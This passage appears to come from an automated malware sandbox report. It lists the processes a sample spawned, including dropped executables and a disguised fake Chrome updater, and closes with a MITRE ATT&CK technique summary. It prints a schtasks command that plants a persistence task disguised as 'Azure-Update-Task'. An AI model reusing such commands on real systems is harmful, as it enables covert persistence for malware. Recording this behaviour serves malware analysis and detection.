C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1484 -ip 1484
1⤵
PID:4632

C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
1⤵
- Executes dropped EXE
PID:3764

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
PID:2516
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:4832

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:5040

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3884 -ip 3884
1⤵
PID:4336

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery